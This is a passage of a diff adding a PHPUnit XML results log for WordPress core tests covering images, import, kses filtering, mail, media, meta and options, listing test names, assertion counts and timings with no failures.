+      <testcase name="test_is_displayable_image_negative" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="86" assertions="9" time="0.001453"/>
+      <testcase name="test_wp_save_image_file" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="111" assertions="9" time="0.284346"/>
+      <testcase name="test_mime_overrides_filename" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="155" assertions="3" time="0.065989"/>
+      <testcase name="test_inferred_mime_types" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="190" assertions="18" time="0.342441"/>
+      <testcase name="test_load_directory" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="236" assertions="3" time="0.001334"/>
+      <testcase name="test_wp_crop_image_file" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="258" assertions="4" time="0.022354"/>
+      <testcase name="test_wp_crop_image_url" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="274" assertions="4" time="1.103415"/>
+      <testcase name="test_wp_crop_image_file_not_exist" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="291" assertions="1" time="0.001239"/>
+      <testcase name="test_wp_crop_image_url_not_exist" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="297" assertions="1" time="0.242404"/>
+      <testcase name="test_wp_crop_image_error_on_saving" class="Tests_Image_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/functions.php" line="310" assertions="1" time="0.002399"/>
+    </testsuite>
+    <testsuite name="Tests_Image_Intermediate_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/intermediate_size.php" fullPackage="Tests.Image.Intermediate" tests="4" assertions="8" failures="0" errors="0" time="0.047557">
+      <testcase name="test_make_intermediate_size_no_size" class="Tests_Image_Intermediate_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/intermediate_size.php" line="9" assertions="1" time="0.002165"/>
+      <testcase name="test_make_intermediate_size_width" class="Tests_Image_Intermediate_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/intermediate_size.php" line="15" assertions="1" time="0.012948"/>
+      <testcase name="test_make_intermediate_size_height" class="Tests_Image_Intermediate_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/intermediate_size.php" line="24" assertions="1" time="0.015959"/>
+      <testcase name="test_make_intermediate_size_successful" class="Tests_Image_Intermediate_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/intermediate_size.php" line="33" assertions="5" time="0.016485"/>
+    </testsuite>
+    <testsuite name="Tests_Image_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/meta.php" fullPackage="Tests.Image" tests="8" assertions="62" failures="0" errors="0" time="0.024488">
+      <testcase name="test_exif_d70" class="Tests_Image_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/meta.php" line="19" assertions="10" time="0.003421"/>
+      <testcase name="test_exif_d70_mf" class="Tests_Image_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/meta.php" line="35" assertions="10" time="0.003619"/>
+      <testcase name="test_exif_d70_iptc" class="Tests_Image_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/meta.php" line="52" assertions="10" time="0.003033"/>
+      <testcase name="test_exif_fuji" class="Tests_Image_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/meta.php" line="68" assertions="10" time="0.003299"/>
+      <testcase name="test_exif_error" class="Tests_Image_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/meta.php" line="88" assertions="10" time="0.003466"/>
+      <testcase name="test_exif_no_data" class="Tests_Image_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/meta.php" line="106" assertions="10" time="0.002495"/>
+      <testcase name="test_utf8_iptc_tags" class="Tests_Image_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/meta.php" line="125" assertions="1" time="0.003078"/>
+      <testcase name="test_missing_image_file" class="Tests_Image_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/meta.php" line="137" assertions="1" time="0.002077"/>
+    </testsuite>
+    <testsuite name="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" fullPackage="Test.Image.Resize" tests="12" assertions="42" failures="0" errors="0" time="0.357221">
+      <testcase name="test_resize_jpg" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="10" assertions="4" time="0.002082"/>
+      <testcase name="test_resize_png" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="22" assertions="4" time="0.004488"/>
+      <testcase name="test_resize_gif" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="34" assertions="4" time="0.002339"/>
+      <testcase name="test_resize_larger" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="46" assertions="2" time="0.000853"/>
+      <testcase name="test_resize_thumb_128x96" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="54" assertions="4" time="0.054410"/>
+      <testcase name="test_resize_thumb_128x0" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="66" assertions="4" time="0.073079"/>
+      <testcase name="test_resize_thumb_0x96" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="78" assertions="4" time="0.072279"/>
+      <testcase name="test_resize_thumb_150x150_crop" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="90" assertions="4" time="0.050061"/>
+      <testcase name="test_resize_thumb_150x100_crop" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="102" assertions="4" time="0.044170"/>
+      <testcase name="test_resize_thumb_50x150_crop" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="114" assertions="4" time="0.045898"/>
+      <testcase name="test_resize_non_existent_image" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="130" assertions="2" time="0.001585"/>
+      <testcase name="test_resize_bad_image" class="Test_Image_Resize_GD" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_gd.php" line="141" assertions="2" time="0.005977"/>
+    </testsuite>
+    <testsuite name="Test_Image_Resize_Imagick" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/resize_imagick.php" fullPackage="Test.Image.Resize" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" fullPackage="Tests.Image" tests="13" assertions="41" failures="0" errors="0" time="0.040493">
+      <testcase name="test_constrain_dims_zero" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="9" assertions="3" time="0.002943"/>
+      <testcase name="test_constrain_dims_smaller" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="24" assertions="3" time="0.002861"/>
+      <testcase name="test_constrain_dims_equal" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="39" assertions="3" time="0.001702"/>
+      <testcase name="test_constrain_dims_larger" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="54" assertions="6" time="0.003089"/>
+      <testcase name="test_constrain_dims_boundary" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="79" assertions="4" time="0.003096"/>
+      <testcase name="test_shrink_dimensions_default" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="98" assertions="2" time="0.002870"/>
+      <testcase name="test_shrink_dimensions_smaller" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="106" assertions="2" time="0.002385"/>
+      <testcase name="test_shrink_dimensions_equal" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="115" assertions="2" time="0.001710"/>
+      <testcase name="test_shrink_dimensions_larger" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="124" assertions="2" time="0.002783"/>
+      <testcase name="test_shrink_dimensions_boundary" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="133" assertions="4" time="0.002564"/>
+      <testcase name="test_constrain_size_for_editor_thumb" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="149" assertions="2" time="0.004163"/>
+      <testcase name="test_constrain_size_for_editor_medium" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="157" assertions="4" time="0.007246"/>
+      <testcase name="test_constrain_size_for_editor_full" class="Tests_Image_Size" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/image/size.php" line="179" assertions="4" time="0.003081"/>
+    </testsuite>
+    <testsuite name="Tests_Import_Import" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/import.php" fullPackage="Tests.Import" tests="2" assertions="121" failures="0" errors="0" time="1.244622">
+      <testcase name="test_small_import" class="Tests_Import_Import" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/import.php" line="31" assertions="103" time="0.518116"/>
+      <testcase name="test_double_import" class="Tests_Import_Import" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/import.php" line="188" assertions="18" time="0.726506"/>
+    </testsuite>
+    <testsuite name="Tests_Import_Parser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/parser.php" fullPackage="Tests.Import" tests="6" assertions="110" failures="0" errors="0" time="0.085856">
+      <testcase name="test_malformed_wxr" class="Tests_Import_Parser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/parser.php" line="19" assertions="4" time="0.008788"/>
+      <testcase name="test_invalid_wxr" class="Tests_Import_Parser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/parser.php" line="31" assertions="12" time="0.026394"/>
+      <testcase name="test_wxr_version_1_1" class="Tests_Import_Parser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/parser.php" line="45" assertions="33" time="0.019548"/>
+      <testcase name="test_wxr_version_1_0" class="Tests_Import_Parser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/parser.php" line="99" assertions="45" time="0.022956"/>
+      <testcase name="test_escaped_cdata_closing_sequence" class="Tests_Import_Parser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/parser.php" line="146" assertions="12" time="0.004662"/>
+      <testcase name="test_unescaped_cdata_closing_sequence" class="Tests_Import_Parser" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/parser.php" line="172" assertions="4" time="0.003508"/>
+    </testsuite>
+    <testsuite name="Tests_Import_Postmeta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/postmeta.php" fullPackage="Tests.Import" tests="4" assertions="5" failures="0" errors="0" time="0.262763">
+      <testcase name="test_serialized_postmeta_no_cdata" class="Tests_Import_Postmeta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/postmeta.php" line="19" assertions="1" time="0.071941"/>
+      <testcase name="test_utw_postmeta" class="Tests_Import_Postmeta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/postmeta.php" line="26" assertions="1" time="0.062955"/>
+      <testcase name="test_serialized_postmeta_with_cdata" class="Tests_Import_Postmeta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/postmeta.php" line="75" assertions="2" time="0.065135"/>
+      <testcase name="test_serialized_postmeta_with_evil_stuff_in_cdata" class="Tests_Import_Postmeta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/import/postmeta.php" line="89" assertions="1" time="0.062732"/>
+    </testsuite>
+    <testsuite name="TestFactoryFor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/includes/factory.php" tests="4" assertions="4" failures="0" errors="0" time="0.029442">
+      <testcase name="test_create_creates_a_category" class="TestFactoryFor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/includes/factory.php" line="9" assertions="1" time="0.008297"/>
+      <testcase name="test_get_object_by_id_gets_an_object" class="TestFactoryFor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/includes/factory.php" line="14" assertions="1" time="0.007488"/>
+      <testcase name="test_get_object_by_id_gets_an_object_with_the_same_name" class="TestFactoryFor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/includes/factory.php" line="19" assertions="1" time="0.007265"/>
+      <testcase name="test_the_taxonomy_argument_overrules_the_factory_taxonomy" class="TestFactoryFor" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/includes/factory.php" line="25" assertions="1" time="0.006392"/>
+    </testsuite>
+    <testsuite name="Test_WP_Post_IDs_Iterator" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/iterators.php" fullPackage="Test.WP.Post.IDs" tests="0" assertions="0" failures="0" errors="0" time="0.000000"/>
+    <testsuite name="Tests_Kses" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/kses.php" fullPackage="Tests" tests="7" assertions="364" failures="0" errors="0" time="0.145450">
+      <testcase name="test_wp_filter_post_kses_address" class="Tests_Kses" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/kses.php" line="13" assertions="4" time="0.004910"/>
+      <testcase name="test_wp_filter_post_kses_a" class="Tests_Kses" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/kses.php" line="36" assertions="9" time="0.005787"/>
+      <testcase name="test_wp_filter_post_kses_abbr" class="Tests_Kses" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/kses.php" line="61" assertions="4" time="0.004231"/>
+      <testcase name="test_feed_links" class="Tests_Kses" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/kses.php" line="78" assertions="1" time="0.006445"/>
+      <testcase name="test_wp_kses_bad_protocol" class="Tests_Kses" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/kses.php" line="112" assertions="5" time="0.005624"/>
+      <testcase name="test_hackers_attacks" class="Tests_Kses" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/kses.php" line="174" assertions="33" time="0.026156"/>
+      <testcase name="test_wp_kses_allowed_html" class="Tests_Kses" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/kses.php" line="315" assertions="308" time="0.092297"/>
+    </testsuite>
+    <testsuite name="Tests_L10n" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/l10n.php" fullPackage="Tests" tests="1" assertions="6" failures="0" errors="0" time="0.005133">
+      <testcase name="test_load_unload_textdomain" class="Tests_L10n" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/l10n.php" line="9" assertions="6" time="0.005133"/>
+    </testsuite>
+    <testsuite name="Tests_Link_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/link.php" fullPackage="Tests.Link" tests="1" assertions="1" failures="0" errors="0" time="0.019843">
+      <testcase name="test_get_pagenum_link_case_insensitivity" class="Tests_Link_Functions" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/link.php" line="14" assertions="1" time="0.019843"/>
+    </testsuite>
+    <testsuite name="Tests_Mail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/mail.php" fullPackage="Tests" tests="6" assertions="23" failures="0" errors="0" time="0.030452">
+      <testcase name="test_wp_mail_custom_boundaries" class="Tests_Mail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/mail.php" line="12" assertions="3" time="0.003908"/>
+      <testcase name="test_wp_mail_rfc2822_addresses" class="Tests_Mail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/mail.php" line="112" assertions="7" time="0.005658"/>
+      <testcase name="test_wp_mail_multiple_rfc2822_to_addresses" class="Tests_Mail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/mail.php" line="150" assertions="5" time="0.006061"/>
+      <testcase name="test_wp_mail_multiple_to_addresses" class="Tests_Mail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/mail.php" line="176" assertions="3" time="0.003922"/>
+      <testcase name="test_wp_mail_to_address_no_name" class="Tests_Mail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/mail.php" line="194" assertions="2" time="0.004973"/>
+      <testcase name="test_wp_mail_return_value" class="Tests_Mail" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/mail.php" line="216" assertions="3" time="0.005930"/>
+    </testsuite>
+    <testsuite name="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" fullPackage="Tests" tests="16" assertions="52" failures="0" errors="0" time="0.276083">
+      <testcase name="test_img_caption_shortcode_added" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="24" assertions="2" time="0.002206"/>
+      <testcase name="test_img_caption_shortcode_with_empty_params" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="30" assertions="1" time="0.002128"/>
+      <testcase name="test_img_caption_shortcode_with_bad_attr" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="35" assertions="1" time="0.001887"/>
+      <testcase name="test_img_caption_shortcode_with_old_format" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="40" assertions="4" time="0.002514"/>
+      <testcase name="test_img_caption_shortcode_with_old_format_id_and_align" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="50" assertions="3" time="0.002990"/>
+      <testcase name="test_new_img_caption_shortcode_with_html_caption" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="64" assertions="1" time="0.003456"/>
+      <testcase name="test_new_img_caption_shortcode_new_format" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="73" assertions="2" time="0.004017"/>
+      <testcase name="test_new_img_caption_shortcode_new_format_and_linked_image" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="85" assertions="2" time="0.001990"/>
+      <testcase name="test_new_img_caption_shortcode_new_format_and_linked_image_with_newline" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="98" assertions="2" time="0.001776"/>
+      <testcase name="test_add_remove_oembed_provider" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="111" assertions="2" time="0.002750"/>
+      <testcase name="test_wp_prepare_attachment_for_js" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="117" assertions="13" time="0.014804"/>
+      <testcase name="test_wp_convert_bytes_to_hr" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="154" assertions="10" time="0.003647"/>
+      <testcase name="test_get_attached_images" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="187" assertions="1" time="0.028376"/>
+      <testcase name="test_post_galleries_images" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="201" assertions="1" time="0.097464"/>
+      <testcase name="test_post_gallery_images" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="242" assertions="1" time="0.100871"/>
+      <testcase name="test_get_media_embedded_in_content" class="Tests_Media" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/media.php" line="280" assertions="6" time="0.005208"/>
+    </testsuite>
+    <testsuite name="Tests_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta.php" fullPackage="Tests" tests="6" assertions="49" failures="0" errors="0" time="0.292006">
+      <testcase name="test_sanitize_meta" class="Tests_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta.php" line="18" assertions="2" time="0.045536"/>
+      <testcase name="test_delete_metadata_by_mid" class="Tests_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta.php" line="27" assertions="5" time="0.045284"/>
+      <testcase name="test_update_metadata_by_mid" class="Tests_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta.php" line="42" assertions="13" time="0.049094"/>
+      <testcase name="test_metadata_exists" class="Tests_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta.php" line="79" assertions="4" time="0.044717"/>
+      <testcase name="test_user_metadata_not_exists" class="Tests_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta.php" line="89" assertions="5" time="0.048663"/>
+      <testcase name="test_metadata_slashes" class="Tests_Meta" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta.php" line="124" assertions="20" time="0.058712"/>
+    </testsuite>
+    <testsuite name="Tests_Meta_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/query.php" fullPackage="Tests.Meta" tests="5" assertions="10" failures="0" errors="0" time="0.014319">
+      <testcase name="test_default_relation" class="Tests_Meta_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/query.php" line="9" assertions="1" time="0.002551"/>
+      <testcase name="test_set_relation" class="Tests_Meta_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/query.php" line="15" assertions="2" time="0.002421"/>
+      <testcase name="test_single_inner_join_for_keys_only" class="Tests_Meta_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/query.php" line="31" assertions="2" time="0.003476"/>
+      <testcase name="test_parse_query_vars" class="Tests_Meta_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/query.php" line="63" assertions="3" time="0.002833"/>
+      <testcase name="test_empty_value_sql" class="Tests_Meta_Query" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/query.php" line="86" assertions="2" time="0.003038"/>
+    </testsuite>
+    <testsuite name="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" fullPackage="Tests.Meta" tests="9" assertions="37" failures="0" errors="0" time="0.635573">
+      <testcase name="test_edit_post" class="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" line="33" assertions="7" time="0.121317"/>
+      <testcase name="test_add_post_meta" class="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" line="109" assertions="3" time="0.062836"/>
+      <testcase name="test_update_post_meta" class="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" line="124" assertions="3" time="0.059644"/>
+      <testcase name="test_wp_add_post_meta" class="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" line="139" assertions="0" time="0.046754"/>
+      <testcase name="test_wp_update_post_meta" class="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" line="157" assertions="0" time="0.050482"/>
+      <testcase name="test_add_comment_meta" class="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" line="175" assertions="6" time="0.050790"/>
+      <testcase name="test_update_comment_meta" class="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" line="199" assertions="6" time="0.058835"/>
+      <testcase name="test_add_user_meta" class="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" line="227" assertions="6" time="0.088858"/>
+      <testcase name="test_update_user_meta" class="Tests_Meta_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/meta/slashes.php" line="251" assertions="6" time="0.096057"/>
+    </testsuite>
+    <testsuite name="Tests_Option_Option" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/option.php" fullPackage="Tests.Option" tests="6" assertions="54" failures="0" errors="0" time="0.050596">
+      <testcase name="test_the_basics" class="Tests_Option_Option" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/option.php" line="12" assertions="16" time="0.014010"/>
+      <testcase name="test_default_filter" class="Tests_Option_Option" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/option.php" line="37" assertions="7" time="0.007858"/>
+      <testcase name="test_serialized_data" class="Tests_Option_Option" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/option.php" line="62" assertions="5" time="0.019316"/>
+      <testcase name="test_bad_option_names" class="Tests_Option_Option" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/option.php" line="78" assertions="24" time="0.003127"/>
+      <testcase name="test_special_option_name_alloption" class="Tests_Option_Option" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/option.php" line="91" assertions="1" time="0.003625"/>
+      <testcase name="test_special_option_name_notoptions" class="Tests_Option_Option" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/option.php" line="99" assertions="1" time="0.002660"/>
+    </testsuite>
+    <testsuite name="Tests_Option_SiteOption" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/siteOption.php" fullPackage="Tests.Option" tests="5" assertions="32" failures="0" errors="0" time="0.038239">
+      <testcase name="test_the_basics" class="Tests_Option_SiteOption" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/siteOption.php" line="11" assertions="16" time="0.012657"/>
+      <testcase name="test_default_filter" class="Tests_Option_SiteOption" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/siteOption.php" line="36" assertions="7" time="0.007270"/>
+      <testcase name="test_serialized_data" class="Tests_Option_SiteOption" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/siteOption.php" line="61" assertions="5" time="0.007985"/>
+      <testcase name="test_update_adds_falsey_value" class="Tests_Option_SiteOption" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/siteOption.php" line="75" assertions="2" time="0.006179"/>
+      <testcase name="test_get_doesnt_cache_default_value" class="Tests_Option_SiteOption" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/siteOption.php" line="86" assertions="2" time="0.004148"/>
+    </testsuite>
+    <testsuite name="Tests_Option_SiteTransient" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/siteTransient.php" fullPackage="Tests.Option" tests="2" assertions="14" failures="0" errors="0" time="0.020222">
+      <testcase name="test_the_basics" class="Tests_Option_SiteTransient" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/siteTransient.php" line="8" assertions="9" time="0.011468"/>
+      <testcase name="test_serialized_data" class="Tests_Option_SiteTransient" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/siteTransient.php" line="24" assertions="5" time="0.008754"/>
+    </testsuite>
+    <testsuite name="Tests_Option_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/slashes.php" fullPackage="Tests.Option" tests="2" assertions="8" failures="0" errors="0" time="0.017980">
+      <testcase name="test_add_option" class="Tests_Option_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/slashes.php" line="26" assertions="4" time="0.008567"/>
+      <testcase name="test_update_option" class="Tests_Option_Slashes" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/slashes.php" line="42" assertions="4" time="0.009413"/>
+    </testsuite>
+    <testsuite name="Tests_Option_Transient" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/transient.php" fullPackage="Tests.Option" tests="2" assertions="14" failures="0" errors="0" time="0.018390">
+      <testcase name="test_the_basics" class="Tests_Option_Transient" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/transient.php" line="8" assertions="9" time="0.010498"/>
+      <testcase name="test_serialized_data" class="Tests_Option_Transient" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/option/transient.php" line="24" assertions="5" time="0.007892"/>
+    </testsuite>
+    <testsuite name="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" fullPackage="Tests.POMO" tests="9" assertions="36" failures="0" errors="0" time="0.033465">
+      <testcase name="test_mo_simple" class="Tests_POMO_MO" file="/Users/nacin/Sites/develop.svn.wordpress.org/tests/tests/pomo/mo.php" line="5" assertions="4" time="0.003469"/>
